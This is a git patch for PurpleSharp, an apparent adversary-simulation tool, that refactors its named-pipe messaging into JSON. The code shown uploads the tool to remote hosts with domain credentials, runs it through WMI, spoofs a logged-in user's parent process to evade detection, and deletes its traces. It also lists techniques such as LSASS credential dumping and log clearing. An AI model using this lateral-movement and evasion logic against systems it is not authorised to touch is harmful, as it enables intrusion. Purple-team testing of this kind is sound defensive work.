From 6962e2f29bcba9767be98d4b3d7d54f63bb7a947 Mon Sep 17 00:00:00 2001 From: mvelazco Date: Wed, 24 Mar 2021 22:22:42 -0400 Subject: [PATCH 01/20] initial approach for namedpipe comms refactor --- PurpleSharp/Lib/Json.cs | 62 ++++++- PurpleSharp/Lib/NamedPipes.cs | 318 +++++++++++++++++++++++++++++++- PurpleSharp/Program.cs | 338 +++++++++++++++++++++++++++++++++- 3 files changed, 709 insertions(+), 9 deletions(-) diff --git a/PurpleSharp/Lib/Json.cs b/PurpleSharp/Lib/Json.cs index 8522331..4a37cf5 100644 --- a/PurpleSharp/Lib/Json.cs +++ b/PurpleSharp/Lib/Json.cs @@ -66,7 +66,7 @@ public class TaskDebugMsg public string msg { get; set; } } - //Mitre ATT&CK + // ATT&CK Classes public class NavigatorLayer { @@ -113,7 +113,65 @@ public class NavigatorTechnique } - class Json + // Named Pipe Comms Classes + + public class ReconResponse + { + public string user; + + public string process; + + public string process_id; + + public string process_integrity; + public ReconResponse(string u, string proc, string proc_id, string proc_int) + { + user = u; + process = proc; + process_id = proc_id; + process_integrity = proc_int; + } + } + + public class SimulationRequest + { + public string recon_type; + + public string simulator_rpath; + + public string techniques; + + public string variation; + + public string opsec; + + public string playbook_sleep; + + public string task_sleep; + + public string cleanup; + + public SimulationRequest(string recon, string simrpath, string techs, string var, string ops, string pbsleep, string tsleep, string clnup) + { + recon_type = recon; + simulator_rpath = simrpath; + techniques = techs; + variation = var; + opsec = ops; + playbook_sleep = pbsleep; + task_sleep = tsleep; + cleanup = clnup; + + } + } + public class SimulationResponse + { + public string status; + + public ReconResponse recon_response; + } + + class Json { public static SimulationExercise ReadSimulationPlaybook(string jsoninput) { diff --git a/PurpleSharp/Lib/NamedPipes.cs b/PurpleSharp/Lib/NamedPipes.cs index e3f2859..2aaf053 100644 --- a/PurpleSharp/Lib/NamedPipes.cs +++ b/PurpleSharp/Lib/NamedPipes.cs @@ -7,6 +7,8 @@ using System.Text; using System.Security.Principal; using System.Security.AccessControl; +using Newtonsoft.Json; +using System.Threading; namespace PurpleSharp.Lib { @@ -187,7 +189,7 @@ public static void RunScoutService(string scout_np, string simulator_np, string //Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /s"); System.Threading.Thread.Sleep(3000); - logger.TimestampInfo("Sending payload to Scout Aggent through namedpipe: " + "technique:" + technique + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:" + cleanup); + logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + technique + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:" + cleanup); RunNoAuthClient(simulator_np, "technique:" + technique +" variation:"+ variation.ToString() + " pbsleep:" + pbsleep.ToString() + " tsleep:"+tsleep.ToString() + " cleanup:" + cleanup); System.Threading.Thread.Sleep(2000); } @@ -210,6 +212,285 @@ public static void RunScoutService(string scout_np, string simulator_np, string logger.TimestampInfo(ex.Message.ToString()); } } + + public static void RunScoutServiceSerialized(string scout_np, string simulator_np, string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + bool running = true; + bool privileged = false; + + string technique, opsec, simpfath, simrpath, duser, user, simbinary, cleanup; + technique = opsec = simpfath = simrpath = duser = user = simbinary = cleanup = ""; + Process parentprocess = null; + int pbsleep, tsleep, variation; + pbsleep = tsleep = 0; + variation = 1; + System.Threading.Thread.Sleep(1500); + + try + { + using (var pipeServer = new NamedPipeServerStream(scout_np, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message)) + { + logger.TimestampInfo("Starting scout namedpipe service with PID:" + Process.GetCurrentProcess().Id); + while (running) + { + var reader = new StreamReader(pipeServer); + //var writer = new StreamWriter(pipeServer); + var writer2 = new BinaryWriter(pipeServer); + + logger.TimestampInfo("Waiting for client connection..."); + pipeServer.WaitForConnection(); + logger.TimestampInfo("Client connected!"); + + var line = reader.ReadLine(); + logger.TimestampInfo("Got some data back"); + + logger.TimestampInfo("Received from client: " + line); + + SimulationRequest sim_request = JsonConvert.DeserializeObject(line); + + logger.TimestampInfo("Received Simulation Request object"); + logger.TimestampInfo("Simrpath "+ sim_request.simulator_rpath); + + logger.TimestampInfo("1"); + writer2.Write("SYN/ACK"); + writer2.Flush(); + pipeServer.Disconnect(); + logger.TimestampInfo("2"); + logger.TimestampInfo("3"); + pipeServer.Disconnect(); + logger.TimestampInfo("4"); + + /* + if (line.ToLower().Equals("syn")) + { + //logger.TimestampInfo("sending back to client: " + "SYN/ACK"); + writer.WriteLine("SYN/ACK"); + writer.Flush(); + } + else if (line.ToLower().Equals("auditpol")) + { + writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetAuditPolicy()))); + writer.Flush(); + } + else if (line.ToLower().Equals("wef")) + { + writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetWefSettings()))); + writer.Flush(); + } + else if (line.ToLower().Equals("pws")) + { + writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetPwsLoggingSettings()))); + writer.Flush(); + } + else if (line.ToLower().Equals("ps")) + { + writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetProcs()))); + writer.Flush(); + } + else if (line.ToLower().Equals("svcs")) + { + writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetServices()))); + writer.Flush(); + } + else if (line.ToLower().Equals("cmdline")) + { + writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetCmdlineAudittingSettings()))); + writer.Flush(); + } + + else if (line.ToLower().StartsWith("recon:")) + { + ReconResponse recon_response; + byte[] bytes_recon_response; + + //string payload = ""; + if (line.Replace("recon:", "").Equals("privileged")) privileged = true; + parentprocess = Recon.GetHostProcess(privileged); + if (parentprocess != null && Recon.GetExplorer() != null) + { + duser = Recon.GetProcessOwnerWmi(Recon.GetExplorer()); + recon_response = new ReconResponse(duser, parentprocess.ProcessName, parentprocess.Id.ToString(), privileged.ToString()); + user = duser.Split('\\')[1]; + logger.TimestampInfo(String.Format("Recon identified {0} logged in. Process to Spoof: {1} PID: {2}", duser, parentprocess.ProcessName, parentprocess.Id)); + //payload = String.Format("{0},{1},{2},{3}", duser, parentprocess.ProcessName, parentprocess.Id, privileged.ToString()); + + } + else + { + //payload = ",,,"; + recon_response = new ReconResponse("", "", "", ""); + logger.TimestampInfo("Recon did not identify any logged users"); + } + bytes_recon_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(recon_response)); + writer2.Write(bytes_recon_response); + //writer.WriteLine(str_recon_response); + //writer.WriteLine(payload); + writer2.Flush(); + } + else if (line.ToLower().StartsWith("sc:")) + { + writer.WriteLine("ACK"); + writer.Flush(); + } + else if (line.ToLower().StartsWith("technique:")) + { + technique = line.Replace("technique:", ""); + //logger.TimestampInfo("Got params from client"); + //logger.TimestampInfo("sending back to client: " + "ACK"); + writer.WriteLine("ACK"); + writer.Flush(); + } + else if (line.ToLower().StartsWith("variation:")) + { + variation = Int32.Parse(line.Replace("variation:", "")); + //logger.TimestampInfo("Got params from client"); + //logger.TimestampInfo("sending back to client: " + "ACK"); + writer.WriteLine("ACK"); + writer.Flush(); + } + else if (line.ToLower().StartsWith("pbsleep:")) + { + pbsleep = Int32.Parse(line.Replace("pbsleep:", "")); + //logger.TimestampInfo("Got params from client"); + //logger.TimestampInfo("sending back to client: " + "ACK"); + writer.WriteLine("ACK"); + writer.Flush(); + } + else if (line.ToLower().StartsWith("tsleep:")) + { + tsleep = Int32.Parse(line.Replace("tsleep:", "")); + //logger.TimestampInfo("Got params from client"); + //logger.TimestampInfo("sending back to client: " + "ACK"); + writer.WriteLine("ACK"); + writer.Flush(); + } + else if (line.ToLower().StartsWith("opsec:")) + { + opsec = line.Replace("opsec:", ""); + //logger.TimestampInfo("Got opsec technique from client"); + //logger.TimestampInfo("sending back to client: " + "ACK"); + writer.WriteLine("ACK"); + writer.Flush(); + } + else if (line.ToLower().StartsWith("cleanup:")) + { + cleanup = line.Replace("cleanup:", ""); + writer.WriteLine("ACK"); + writer.Flush(); + } + else if (line.ToLower().StartsWith("simrpath:")) + { + simrpath = line.Replace("simrpath:", ""); + //logger.TimestampInfo("sending back to client: " + "ACK"); + //simpath = "C:\\Users\\" + loggeduser + "\\Downloads\\" + simbin; + simpfath = "C:\\Users\\" + user + "\\" + simrpath; + int index = simrpath.LastIndexOf(@"\"); + simbinary = simrpath.Substring(index + 1); + + writer.WriteLine("ACK"); + writer.Flush(); + } + else if (line.Equals("act")) + { + logger.TimestampInfo("Received act!"); + //logger.TimestampInfo("sending back to client: " + "ACK"); + writer.WriteLine("ACK"); + writer.Flush(); + + if (opsec.Equals("ppid")) + { + logger.TimestampInfo("Using Parent Process Spoofing technique for Opsec"); + logger.TimestampInfo("Spoofing " + parentprocess.ProcessName + " PID: " + parentprocess.Id.ToString()); + logger.TimestampInfo("Executing: " + simpfath + " /n"); + //Launcher.SpoofParent(parentprocess.Id, simpath, simbin + " " + cmdline); + //Launcher.SpoofParent(parentprocess.Id, simpfath, simrpath + " /s"); + + Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /n"); + //Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /s"); + + System.Threading.Thread.Sleep(3000); + logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + technique + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:" + cleanup); + RunNoAuthClient(simulator_np, "technique:" + technique + " variation:" + variation.ToString() + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:" + cleanup); + System.Threading.Thread.Sleep(2000); + } + } + else if (line.ToLower().Equals("quit")) + { + logger.TimestampInfo("Received quit! Exitting namedpipe"); + //logger.TimestampInfo("sending back to client: " + "quit"); + writer.WriteLine("quit"); + writer.Flush(); + running = false; + } + */ + pipeServer.Disconnect(); + } + } + } + catch (Exception ex) + { + logger.TimestampInfo(ex.ToString()); + logger.TimestampInfo(ex.Message.ToString()); + } + } + + public static void RunScoutServiceSerialized2(string scout_np, string simulator_np, string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + bool running = true; + bool privileged = false; + + string technique, opsec, simpfath, simrpath, duser, user, simbinary, cleanup; + technique = opsec = simpfath = simrpath = duser = user = simbinary = cleanup = ""; + Process parentprocess = null; + int pbsleep, tsleep, variation; + pbsleep = tsleep = 0; + variation = 1; + System.Threading.Thread.Sleep(1500); + + try + { + using (var pipeServer = new NamedPipeServerStream(scout_np, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message)) + { + logger.TimestampInfo("Waiting for client connection..."); + pipeServer.WaitForConnection(); + logger.TimestampInfo("Client connected."); + var messageBytes = ReadMessage(pipeServer); + var line = Encoding.UTF8.GetString(messageBytes); + logger.TimestampInfo(String.Format("Received: {0}", line)); + + var response = Encoding.UTF8.GetBytes("SYN/ACK"); + pipeServer.Write(response, 0, response.Length); + + } + } + catch (Exception ex) + { + logger.TimestampInfo(ex.ToString()); + logger.TimestampInfo(ex.Message.ToString()); + } + } + + private static byte[] ReadMessage(PipeStream pipe) + { + byte[] buffer = new byte[1024]; + using (var ms = new MemoryStream()) + { + do + { + var readBytes = pipe.Read(buffer, 0, buffer.Length); + ms.Write(buffer, 0, readBytes); + } + while (!pipe.IsMessageComplete); + + return ms.ToArray(); + } + } + + public static string[] RunSimulationService(string npipe, string log) { string[] result = new string[5]; @@ -272,9 +553,42 @@ public static string RunClient(string rhost, string domain, string ruser, string var reader = new StreamReader(pipeClient); var writer = new StreamWriter(pipeClient); writer.WriteLine(request); - writer.Flush(); + writer.Flush(); var result = reader.ReadLine(); return (result.ToString()); + + + } + } + } + + public static string RunClientSerialized(string rhost, string domain, string ruser, string rpwd, string npipe, byte[] serialized_object) + { + using (new Impersonation(domain, ruser, rpwd)) + { + using (var pipeClient = new NamedPipeClientStream(rhost, npipe, PipeDirection.InOut)) + { + pipeClient.Connect(100000); + pipeClient.ReadMode = PipeTransmissionMode.Message; + + var reader = new StreamReader(pipeClient); + //var writer = new StreamWriter(pipeClient); + var writer2 = new BinaryWriter(pipeClient); + + writer2.Write(serialized_object); + Console.WriteLine("data has been sent"); + writer2.Flush(); + //writer.WriteLine(request); + //writer.Flush(); + + Console.WriteLine("waiting for response"); + var result = reader.ReadLine(); + Console.WriteLine("Got data back"); + Console.WriteLine(result); + + return (result.ToString()); + + } } } diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index c95e79e..e75f5b1 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -6,6 +6,7 @@ using System.Text; using System.Threading; using PurpleSharp.Lib; +using Newtonsoft.Json; namespace PurpleSharp @@ -177,7 +178,8 @@ public static void Main(string[] args) } if (scoutservice) { - NamedPipes.RunScoutService(scout_np, simulator_np, log); + //NamedPipes.RunScoutService(scout_np, simulator_np, log); + NamedPipes.RunScoutServiceSerialized2(scout_np, simulator_np, log); return; } if (simservice) @@ -358,7 +360,9 @@ public static void Main(string[] args) int index = random.Next(targets.Count); Console.WriteLine("[+] Picked random host for simulation: " + targets[index].Fqdn); Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, targets[index].Fqdn); - playbookResults = ExecuteRemoteTechniquesJson(targets[index].Fqdn, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); + //playbookResults = ExecuteRemoteTechniquesJson(targets[index].Fqdn, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); + playbookResults = ExecuteRemoteTechniquesJsonSerialized(targets[index].Fqdn, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); + if (playbookResults == null) continue; playbookResults.name = playbook.name; } else Console.WriteLine("[!] Could not obtain targets for the simulation"); @@ -367,7 +371,9 @@ public static void Main(string[] args) else { Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, playbook.host); - playbookResults = ExecuteRemoteTechniquesJson(playbook.host, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); + //playbookResults = ExecuteRemoteTechniquesJson(playbook.host, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); + playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.host, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); + if (playbookResults == null) continue; playbookResults.name = playbook.name; } if (engagement.sleep > 0 && !playbook.Equals(lastPlaybook)) @@ -396,6 +402,7 @@ public static void Main(string[] args) } } + //Remote simulations with command line parameters if (remote) @@ -413,7 +420,8 @@ public static void Main(string[] args) } if (!rhost.Equals("random")) { - ExecuteRemoteTechniques(rhost, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); + //ExecuteRemoteTechniques(rhost, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); + ExecuteRemoteTechniquesSerialized(rhost, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); return; } else if (!dc.Equals("")) @@ -427,7 +435,8 @@ public static void Main(string[] args) var random = new Random(); int index = random.Next(targets.Count); Console.WriteLine("[+] Picked Random host for simulation: " + targets[index].Fqdn); - ExecuteRemoteTechniques(targets[index].Fqdn, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); + //ExecuteRemoteTechniques(targets[index].Fqdn, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); + ExecuteRemoteTechniquesSerialized(targets[index].Fqdn, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); return; } else @@ -719,6 +728,193 @@ public static void ExecuteRemoteTechniques(string rhost, string domain, string r } } } + + public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain, string ruser, string rpwd, string techniques, int variation, int pbsleep, int tsleep, string scoutfpath, string scout_np, string simrpath, string simulator_np, string log, bool opsec, bool verbose, bool cleanup) + { + // techniques that need to be executed from a high integrity process + string[] privileged_techniques = new string[] { "T1003.001", "T1136.001", "T1070.001", "T1543.003", "T1546.003" }; + + if (rpwd == "") + { + Console.Write("Password for {0}\\{1}: ", domain, ruser); + rpwd = Utils.GetPassword(); + Console.WriteLine(); + } + + string uploadPath = System.Reflection.Assembly.GetEntryAssembly().Location; + int index = scoutfpath.LastIndexOf(@"\"); + string scoutFolder = scoutfpath.Substring(0, index + 1); + + System.Threading.Thread.Sleep(3000); + + if (opsec) + { + string result = ""; + string args = "/o"; + + Console.WriteLine("[+] Uploading and executing the Scout on {0} ", @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); + RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); + RemoteLauncher.wmiexec(rhost, scoutfpath, args, domain, ruser, rpwd); + Console.WriteLine("[+] Connecting to the Scout ..."); + + SimulationRequest sim_request = new SimulationRequest("regular", simrpath, techniques, variation.ToString(), "ppid", pbsleep.ToString(), tsleep.ToString(), cleanup.ToString()); + + //result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "SYN"); + + byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); + NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, bytes_sim_rqeuest); + Console.WriteLine("sent!"); + return; + + if (result.Equals("SYN/ACK")) + { + Console.WriteLine("[+] OK"); + + /* + if (privileged_techniques.Contains(techniques.ToUpper())) result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:privileged"); + else result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:regular"); + */ + + ReconResponse recon_response = JsonConvert.DeserializeObject(result); + string duser = recon_response.user; + + + if (duser == "") + { + Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + rhost + "?"); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); + Thread.Sleep(1000); + RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); + RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); + Console.WriteLine("[!] Exitting."); + return; + } + else + { + string user = duser.Split('\\')[1]; + + /* + //Console.WriteLine("[+] Sending simulator binary..."); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "simrpath:" + simrpath); + //Console.WriteLine("[+] Sending technique ..."); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "technique:" + techniques); + //Console.WriteLine("[+] Sending variation..."); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "variation:" + variation.ToString()); + //Console.WriteLine("[+] Sending opsec techqniue..."); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "opsec:" + "ppid"); + //Console.WriteLine("[+] Sending sleep..."); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "pbsleep:" + pbsleep.ToString()); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "tsleep:" + tsleep.ToString()); + if (cleanup) NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "cleanup:True"); + else NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "cleanup:False"); + */ + + Console.WriteLine("[!] Recon -> " + String.Format("Identified logged user: {0}", duser)); + string simfpath = "C:\\Users\\" + user + "\\" + simrpath; + int index2 = simrpath.LastIndexOf(@"\"); + string simrfolder = simrpath.Substring(0, index2 + 1); + + string simfolder = "C:\\Users\\" + user + "\\" + simrfolder; + + Console.WriteLine("[+] Uploading Simulator to " + @"\\" + rhost + @"\" + simfpath.Replace(":", "$")); + RemoteLauncher.upload(uploadPath, simfpath, rhost, ruser, rpwd, domain); + + Console.WriteLine("[+] Triggering simulation using PPID Spoofing | Process: {0}.exe | PID: {1} | High Integrity: {2}", recon_response.process, recon_response.process_id, recon_response.process_integrity); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "act"); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); + + if (verbose) + { + Console.WriteLine("[+] Grabbing the Scout output..."); + System.Threading.Thread.Sleep(1000); + string sresults = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); + Console.WriteLine("[+] Results:"); + Console.WriteLine(); + Console.WriteLine(sresults); + } + Thread.Sleep(5000); + bool finished = false; + int counter = 1; + string results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); + while (finished == false) + { + + if (results.Split('\n').Last().Contains("Playbook Finished")) + { + //Console.WriteLine("[+] Obtaining the Simulator output..."); + Console.WriteLine("[+] Results:"); + Console.WriteLine(); + Console.WriteLine(results); + Console.WriteLine(); + Console.WriteLine("[+] Cleaning up..."); + Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); + RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); + Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); + RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); + Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + simfpath.Replace(":", "$")); + RemoteLauncher.delete(simfpath, rhost, ruser, rpwd, domain); + Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (simfolder + log).Replace(":", "$")); + RemoteLauncher.delete(simfolder + log, rhost, ruser, rpwd, domain); + finished = true; + } + else + { + Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); + Thread.Sleep(counter * 10 * 1000); + results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); + } + counter += 1; + } + } + } + else + { + Console.WriteLine("[!] Could not connect to namedpipe service"); + Console.WriteLine("[!] Exitting."); + return; + } + } + else + { + Console.WriteLine("[+] Uploading and executing the Simulator on {0} ", @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); + RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); + RemoteLauncher.wmiexec(rhost, scoutfpath, "/s", domain, ruser, rpwd); + Thread.Sleep(2000); + if (cleanup) NamedPipes.RunClient(rhost, domain, ruser, rpwd, simulator_np, "technique:" + techniques + " variation:" + variation.ToString() + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:True"); + else NamedPipes.RunClient(rhost, domain, ruser, rpwd, simulator_np, "technique:" + techniques + " variation:" + variation.ToString() + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:False"); + + Thread.Sleep(5000); + bool finished = false; + int counter = 1; + string results = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); + while (finished == false) + { + + if (results.Split('\n').Last().Contains("Playbook Finished")) + { + Console.WriteLine("[+] Obtaining results..."); + Console.WriteLine("[+] Results:"); + Console.WriteLine(); + Console.WriteLine(results); + Console.WriteLine(); + Console.WriteLine("[+] Cleaning up..."); + Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); + RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); + Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); + RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); + finished = true; + } + else + { + Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); + Thread.Sleep(counter * 10 * 1000); + results = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); + } + counter += 1; + } + } + } + public static SimulationPlaybookResult ExecuteRemoteTechniquesJson(string rhost, string domain, string ruser, string rpwd, string techniques, int pbsleep, int tsleep, string scoutfpath, string scout_np, string simrpath, string log, bool opsec, bool verbose) { // techniques that need to be executed from a high integrity process @@ -847,6 +1043,138 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJson(string rhost, return Json.GetPlaybookResult(results); } } + + public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(string rhost, string domain, string ruser, string rpwd, string techniques, int pbsleep, int tsleep, string scoutfpath, string scout_np, string simrpath, string log, bool opsec, bool verbose) + { + // techniques that need to be executed from a high integrity process + string[] privileged_techniques = new string[] { "T1003.001", "T1136.001", "T1070.001", "T1543.003", "T1546.003" }; + + string uploadPath = System.Reflection.Assembly.GetEntryAssembly().Location; + int index = scoutfpath.LastIndexOf(@"\"); + string scoutFolder = scoutfpath.Substring(0, index + 1); + Thread.Sleep(3000); + + if (opsec) + { + string result = ""; + string args = "/o"; + + //Console.WriteLine("[+] Uploading Scout to {0} on {1}", scoutfpath, rhost); + RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); + + //Console.WriteLine("[+] Executing the Scout via WMI ..."); + RemoteLauncher.wmiexec(rhost, scoutfpath, args, domain, ruser, rpwd); + //Console.WriteLine("[+] Connecting to namedpipe service ..."); + + result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "SYN"); + if (result.Equals("SYN/ACK")) + { + //Console.WriteLine("[+] OK"); + + if (privileged_techniques.Contains(techniques.ToUpper())) result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:privileged"); + else result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:regular"); + + ReconResponse recon_response = JsonConvert.DeserializeObject(result); + string duser = recon_response.user; + + //string[] payload = result.Split(','); + //string duser = payload[0]; + + + if (duser == "") + { + Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + rhost + "?"); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); + Thread.Sleep(1000); + RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); + RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); + //Console.WriteLine("[!] Exitting."); + return null; + } + else + { + string user = duser.Split('\\')[1]; + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "simrpath:" + simrpath); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "technique:" + techniques); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "opsec:" + "ppid"); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "pbsleep:" + pbsleep.ToString()); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "tsleep:" + tsleep.ToString()); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "cleanup:True"); + + + string simfpath = "C:\\Users\\" + user + "\\" + simrpath; + int index2 = simrpath.LastIndexOf(@"\"); + string simrfolder = simrpath.Substring(0, index2 + 1); + + string simfolder = "C:\\Users\\" + user + "\\" + simrfolder; + + //Console.WriteLine("[+] Uploading Simulator to " + simfpath); + RemoteLauncher.upload(uploadPath, simfpath, rhost, ruser, rpwd, domain); + + //Console.WriteLine("[+] Triggering simulation..."); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "act"); + NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); + + System.Threading.Thread.Sleep(5000); + bool finished = false; + int counter = 1; + string results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); + while (finished == false) + { + if (results.Split('\n').Last().Contains("Playbook Finished")) + { + Console.WriteLine("[+] Results:"); + Console.WriteLine(); + Console.WriteLine(results); + Console.WriteLine(); + RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); + RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); + RemoteLauncher.delete(simfpath, rhost, ruser, rpwd, domain); + RemoteLauncher.delete(simfolder + log, rhost, ruser, rpwd, domain); + finished = true; + } + else + { + Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); + Thread.Sleep(counter * 10 * 1000); + results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); + } + counter += 1; + } + return Json.GetPlaybookResult(results); + + } + } + else + { + //Console.WriteLine("[!] Could not connect to namedpipe service"); + return null; + } + } + else + { + //Console.WriteLine("[+] Uploading PurpleSharp to {0} on {1}", scoutfpath, rhost); + RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); + + string cmdline = "/t " + techniques; + //Console.WriteLine("[+] Executing PurpleSharp via WMI ..."); + RemoteLauncher.wmiexec(rhost, scoutfpath, cmdline, domain, ruser, rpwd); + Thread.Sleep(3000); + Console.WriteLine("[+] Obtaining results..."); + string results = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); + Console.WriteLine("[+] Results:"); + Console.WriteLine(); + Console.WriteLine(results); + //Console.WriteLine("[+] 